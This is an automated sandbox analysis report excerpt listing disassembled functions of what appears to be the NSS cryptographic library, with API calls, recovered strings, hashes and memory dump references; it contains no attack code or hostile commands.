Opcode Fuzzy Hash: 8c5a8005902dd13e3fe641617675e233fdd89636ed91f2daeb63be7ffca5c4c7
Instruction Fuzzy Hash: FC91F4B0A002068FDB14CF24D985A7BB7F1FF85308F64863DE41697A51E735E860CBA9

Function 6C6F0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C6F0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6F0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C6F1006
PK11_FreeSymKey.NSS3(?), ref: 6C6F101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6F1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6F103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C6F1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C6F108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6F10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6F10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C6F112E

Part of subcall function 6C6F1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6F08C4,?,?), ref: 6C6F15B8
Part of subcall function 6C6F1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6F08C4,?,?), ref: 6C6F15C1
Part of subcall function 6C6F1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F162E
Part of subcall function 6C6F1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F1637

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 71df512d3b062cdf651a58f0608d1538d083849bca059135108fc9c5b63d038c
Instruction ID: d061601c333e8fd2d09c0d5da9ce7929058bdefb0292d61de1f6c6df7578058f
Opcode Fuzzy Hash: 71df512d3b062cdf651a58f0608d1538d083849bca059135108fc9c5b63d038c
Instruction Fuzzy Hash: 6371F5B1A002058FDB00CFA5CD84AAAF7F6FF44358F14862DE92997711EB31E946CB84

Function 6C711CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C711F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C712166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C71228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7123B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C71241C

Strings

model, xrefs: 6C7123CB, 6C7123EC
manufacturer, xrefs: 6C712179
serial, xrefs: 6C7122A2
token, xrefs: 6C711F2C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 4e9d6e0c7ae67da1e7d9f6907e13c85266d53c25bda2126b9b111f34eec85f7f
Instruction ID: 7314f249333b03312727255cd44eea25af1dc232d524dc8a33923177afa820dd
Opcode Fuzzy Hash: 4e9d6e0c7ae67da1e7d9f6907e13c85266d53c25bda2126b9b111f34eec85f7f
Instruction Fuzzy Hash: 46023EA2E0C7C86EF7318271C64C3D77AE49B46328F0D167EC5DE4AE83C3A859899351

Function 6C716C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6C1C6F,00000000,00000004,?,?), ref: 6C716C3F

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C6C1C6F,00000000,00000004,?,?), ref: 6C716C60
PR_ExplodeTime.NSS3(00000000,6C6C1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C6C1C6F,00000000,00000004,?,?), ref: 6C716C94

Strings

gfff, xrefs: 6C716D66
gfff, xrefs: 6C716CFD
gfff, xrefs: 6C716CF5
gfff, xrefs: 6C716D30
gfff, xrefs: 6C716D9C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9b85a61b7511e649f3ef664de2d72fcaac09836edc79713919ffba18aac26253
Instruction ID: ec856d862793eb9970c69fcf859ed3ef70f11a26a622c9e59942ce2fe9eb0be3
Opcode Fuzzy Hash: 9b85a61b7511e649f3ef664de2d72fcaac09836edc79713919ffba18aac26253
Instruction Fuzzy Hash: 6D514C72B015494FC718CDADDC526DAB7DAEBA4310F48C23AE841DBB85D638E906C751

Function 6C72BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C72BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C72BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C72BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C72BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C72BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C72BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C72BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C72BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C72BE1E

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 37bcaaa1d65face09cfac80c1af6284e153e47fd2d653057fa0029ace98719d0
Instruction ID: c818da1484d602807227acc1f6512400e57b0311c273aebedee2dac28517115b
Opcode Fuzzy Hash: 37bcaaa1d65face09cfac80c1af6284e153e47fd2d653057fa0029ace98719d0
Instruction Fuzzy Hash: FD21D57AE0028957FB0046569E4BF9B36789B91B4DF080138FA17EE641E728B418C6B6

Function 6C7D8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8214E4,6C78CC70), ref: 6C7D8D47
PR_GetCurrentThread.NSS3 ref: 6C7D8D98

Part of subcall function 6C6B0F00: PR_GetPageSize.NSS3(6C6B0936,FFFFE8AE,?,6C6416B7,00000000,?,6C6B0936,00000000,?,6C64204A), ref: 6C6B0F1B
Part of subcall function 6C6B0F00: PR_NewLogModule.NSS3(clock,6C6B0936,FFFFE8AE,?,6C6416B7,00000000,?,6C6B0936,00000000,?,6C64204A), ref: 6C6B0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C7D8E7B
htons.WSOCK32(?), ref: 6C7D8EDB
PR_GetCurrentThread.NSS3 ref: 6C7D8F99
PR_GetCurrentThread.NSS3 ref: 6C7D910A

Strings

%u.%u.%u.%u, xrefs: 6C7D8E74

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: ecc207e7123b0a590666ac9d52f91987d5981f240460b171da577bbcf9c0a0fd
Instruction ID: 529a9597c68e87de085d8aac03e10316282d0e3b579024361f6000716ce2488d
Opcode Fuzzy Hash: ecc207e7123b0a590666ac9d52f91987d5981f240460b171da577bbcf9c0a0fd
Instruction Fuzzy Hash: 0B02CC319052518FDB18CF19C56876ABBB3EF52344F2B826AC8955BB92C732F909C7D0

Function 6C779C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C64C52B), ref: 6C779D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C77A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C77A114

Strings

database corruption, xrefs: 6C77A029, 6C77A108
%s at line %d of [%.10s], xrefs: 6C77A02E, 6C77A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C77A01F, 6C77A0E4, 6C77A0FE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 93bbf88811c2a30831c61687928a24caa897dc2ea46c3eb9e70b4abf47fc02bc
Instruction ID: 55d7bfe0668054919e0876955b893a322124e102a9b507555706de11f40c2417
Opcode Fuzzy Hash: 93bbf88811c2a30831c61687928a24caa897dc2ea46c3eb9e70b4abf47fc02bc
Instruction Fuzzy Hash: 5F22E0316093498FDB24CF29C69062AB7E1BFDA354F04CA2DE8DA97741D731E845CB62

Function 6C799D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C658637,?,?), ref: 6C799E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C658637), ref: 6C799ED6

Strings

database corruption, xrefs: 6C799ECA
%s at line %d of [%.10s], xrefs: 6C799ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C799EC0

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: f1a0bd5739d5888e35d7360de8f2d04a65fe96e9dd29ba0c2ee6c955413fbb11
Instruction ID: 32ae5ec4ff41cc49d6a9acb996c581d6c95ce2f01987d2490b48074aab9addeb
Opcode Fuzzy Hash: f1a0bd5739d5888e35d7360de8f2d04a65fe96e9dd29ba0c2ee6c955413fbb11
Instruction Fuzzy Hash: 9E81C331B012058FEB04CF69DA85ADEB3F6EF58304B548539E91AABB51E730ED45CB90

Function 6C729EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C729ED6

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C729EE4

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C729F38

Part of subcall function 6C72D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C729F0B), ref: 6C72D03B
Part of subcall function 6C72D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C72D04E
Part of subcall function 6C72D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C72D07B
Part of subcall function 6C72D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C72D08E
Part of subcall function 6C72D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C729F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C729F59

Part of subcall function 6C729D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C729C5B), ref: 6C729D82
Part of subcall function 6C729D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C729C5B), ref: 6C729DA9
Part of subcall function 6C729D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C729C5B), ref: 6C729DCE
Part of subcall function 6C729D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C729C5B), ref: 6C729E43

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: b6133feb5d3d9eabc4e6655233ca6ae3cdcde88d4b8950ec290498fb5158263b
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 2E112EB5F042015BF7209A659D09B9B7354AFA435CF180134E90987B40FB6AE914C291

Function 6C7DCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7DD086
PR_Malloc.NSS3(00000001), ref: 6C7DD0B9
PR_Free.NSS3(?), ref: 6C7DD138

Strings

>, xrefs: 6C7DCF5B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 4312b6f9f9fd500fc1f44c603c01c433109d3a1677856f5afe20496bdd5b4ada
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: FBD1CD62B405474BFB24487C8EA13EA7797C7A2374F5B0338D0218BBE5E61AE843C725

Function 6C65AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C65AE9F
winUnlock, xrefs: 6C65AE18
P}l, xrefs: 6C65ADDB, 6C65ADF5, 6C65AE6A
p}l, xrefs: 6C65ADA7
0}l, xrefs: 6C65ACC0, 6C65AD22, 6C65AD5E, 6C65AE45

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID: 0}l$P}l$p}l$winUnlock$winUnlockReadLock
API String ID: 0-560948160
Opcode ID: de4945aac637237c4322545f63619a296f728adcdc2d510746ffa713e5471f99
Instruction ID: 4cbdd614a711593338ad22ff86b6a0dd74a855cf241cd4d9bec381a5ff3deba5
Opcode Fuzzy Hash: de4945aac637237c4322545f63619a296f728adcdc2d510746ffa713e5471f99
Instruction Fuzzy Hash: 3071A0706083019FDB14CF28D889AABBBF5FF89308F24C628F94997601D730A985CBD5

Function 6C77AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 033d6e20b38569277c133794f43dc88aefe68cecc6b90051798e8de7a3adf20d
Instruction ID: 18f4f2144c3fff6b707d3852785f9a683795deae8260ee913bfa0ce564705d25
Opcode Fuzzy Hash: 033d6e20b38569277c133794f43dc88aefe68cecc6b90051798e8de7a3adf20d
Instruction Fuzzy Hash: 37F1AC71E0115A8FEF24CF28DA497A977F4BB8A308F258239D905D7E50E774A941CBE0

Function 6C730E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C731052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C731086

Strings

h(sl, xrefs: 6C731062, 6C73105D, 6C730F37, 6C731081, 6C731082
h(sl, xrefs: 6C730E55, 6C730EC4, 6C730F3A, 6C730FA7

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(sl$h(sl
API String ID: 1297977491-889982288
Opcode ID: e1127e4ac90cb98b0c2bd749620cf8c9147895ffa9b61c9c49c16a6a4f52b065
Instruction ID: dd6ef3b9644bd50fc4c273e34cf6cb6ed7d2afeb58f75396060366eb7abcfe9f
Opcode Fuzzy Hash: e1127e4ac90cb98b0c2bd749620cf8c9147895ffa9b61c9c49c16a6a4f52b065
Instruction Fuzzy Hash: 8FA15E71B0125A9FCF08CF99C994AEEB7B6BF88314B148139E909A7701D735EC11CBA0

Function 6C654DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C655125
P}l, xrefs: 6C655019, 6C6550FA, 6C655157, 6C6551DE, 6C6551F2, 6C65520D, 6C655220, 6C6552A2, 6C6552B5
p}l, xrefs: 6C654E1C, 6C654E81, 6C654FDE, 6C655047, 6C6550BB, 6C6551A3, 6C65526C
0}l, xrefs: 6C654EDE, 6C654F82

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID:
String ID: 0}l$P}l$p}l$winUnlockReadLock
API String ID: 0-3220984355
Opcode ID: abdc3d28322c44d01b0411c2dd5b62cc9892455c796af02204f09dcea525d61d
Instruction ID: 88c3b692c4dadd9b2b23dd1cccfd9bfa237d70b6a14b9c619e8c980b8b822e6c
Opcode Fuzzy Hash: abdc3d28322c44d01b0411c2dd5b62cc9892455c796af02204f09dcea525d61d
Instruction Fuzzy Hash: 42E15970A083418FDB14DF28D489A5ABBF0FF89308F51862DF88997611E730A995CFC6

Function 6C673EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C673FAA, 6C674185
sqlite_master, xrefs: 6C67463F
sqlite_temp_master, xrefs: 6C67460F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
